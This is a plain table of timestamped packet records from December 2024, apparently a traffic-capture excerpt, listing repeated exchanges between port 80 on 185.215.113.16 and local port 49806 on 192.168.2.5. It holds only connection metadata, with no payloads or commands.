Dec 20, 2024 16:07:08.736140966 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.736191034 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.737112999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.737170935 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.737725019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.737777948 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.738802910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.738820076 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.738858938 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.740386963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.740441084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.741379976 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.741452932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.741837025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.741906881 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.741995096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.742034912 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.743326902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.743379116 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.743537903 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.743587017 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.744975090 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.745028019 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.745223045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.745268106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.746397018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.746448994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.747356892 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.747407913 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.748033047 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.748081923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.748430014 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.748481035 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.749612093 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.749665976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.749847889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.749895096 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.750838041 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.750885963 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.751086950 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.751132965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.752367020 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.752437115 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.753142118 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.753186941 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.754029036 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.754081964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.754107952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.754143953 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.755449057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.755505085 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.755578041 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.755615950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.756877899 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.756930113 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.757059097 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.757105112 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.758240938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.758291006 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.758483887 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.758527994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.759658098 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.759710073 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.759747028 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.759845018 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.761050940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.761100054 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.761101961 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.761138916 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.762372017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.762442112 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.762512922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.762557030 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.763914108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.763974905 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.764031887 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.764076948 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.765255928 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.765311956 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.765431881 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.765477896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.766674995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.766732931 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.767116070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.767168999 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.768255949 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.768306017 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.768897057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.768945932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.769504070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.769555092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.769835949 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.769881964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.770965099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.771020889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.771342039 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.771387100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.772417068 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.772488117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.772742033 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.772789001 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.773905993 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.773956060 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.774003029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.774045944 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.775294065 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.775346994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.775542021 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.775583982 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.776766062 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.776817083 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.776976109 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.777026892 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.778212070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.778268099 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.778533936 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.778662920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.779553890 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.779601097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.779692888 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.779735088 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.781047106 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.781095982 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.782385111 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.782397985 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.782445908 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.783737898 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.783807039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.784013987 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.784025908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.784065962 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.785573959 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.785584927 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.785626888 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.787239075 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.787251949 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.787293911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.788434982 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.788482904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.906335115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.906378031 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.906584978 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.906752110 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.906765938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.906829119 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.907761097 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.907816887 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.907949924 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.907995939 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.908871889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.908922911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.909146070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.909197092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.910060883 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.910073996 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.910108089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.910123110 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.910877943 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.910955906 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.911087990 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.911133051 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.911840916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.911886930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.911993980 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.912038088 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.914798021 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.914859056 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.914860964 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.914879084 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.914892912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.914904118 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.914921045 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.914930105 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.914952040 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.914978981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.915070057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.915117979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.916253090 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.916300058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.916933060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.917002916 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.917464972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.917510033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.917747974 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.917793989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.917947054 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.917990923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.918379068 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.918423891 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.918960094 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.919006109 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.919008970 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.919075966 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.920453072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.920465946 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.920507908 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.921772957 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.921787024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.921837091 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.922274113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.922286987 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.922322989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.922349930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.923098087 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.923151016 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.923300028 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.923348904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.924556971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.924607992 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.924632072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.924674988 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.925213099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.925263882 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.925697088 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.925745964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.926323891 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.926373005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.926708937 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.926754951 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.927155972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.927225113 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.927500963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.927546978 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.928153992 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.928200960 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.928297997 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.928343058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.929359913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.929409981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.929511070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.929555893 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.930241108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.930286884 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.930948973 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.930999041 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.931349993 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.931395054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.931794882 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.931843996 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.932180882 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.932229996 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.932255030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.932311058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.933511019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.933567047 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.934192896 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.934241056 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.934551954 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.934564114 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.934601068 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.935533047 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.935558081 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.935585022 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.935607910 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.936400890 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.936414957 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.936453104 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.937377930 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.937450886 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.937452078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.937624931 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.938954115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.939006090 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.939026117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.939055920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.939665079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.939702034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.939726114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.939748049 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.940479040 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.940519094 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.940540075 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.940562963 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.941396952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.941453934 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.942425013 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.942481041 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.943545103 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.943594933 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.944256067 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.944269896 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.944310904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.944791079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.944803953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.944818020 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.944839954 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.944864035 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.945480108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.945533037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.945632935 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.945681095 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.946633101 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.946682930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.947346926 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.947396040 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.947778940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.947856903 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.948158026 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.948204994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.948755980 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.948801994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.948941946 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.948987007 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.949868917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.949881077 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.949918985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.950567007 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.950618029 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.951203108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.951255083 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.952281952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.952380896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.952989101 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.953038931 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.953170061 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.953182936 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.953212976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.953231096 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.953512907 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.953562021 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.953726053 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.953773975 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.955374002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.955444098 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.955851078 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.955899954 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.958106995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958120108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958131075 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958228111 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958230972 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.958240032 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958252907 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958275080 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.958293915 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.958887100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958899021 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.958936930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:08.960741997 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:08.960915089 CET	49806	80	192.168.2.5	185.215.113.16
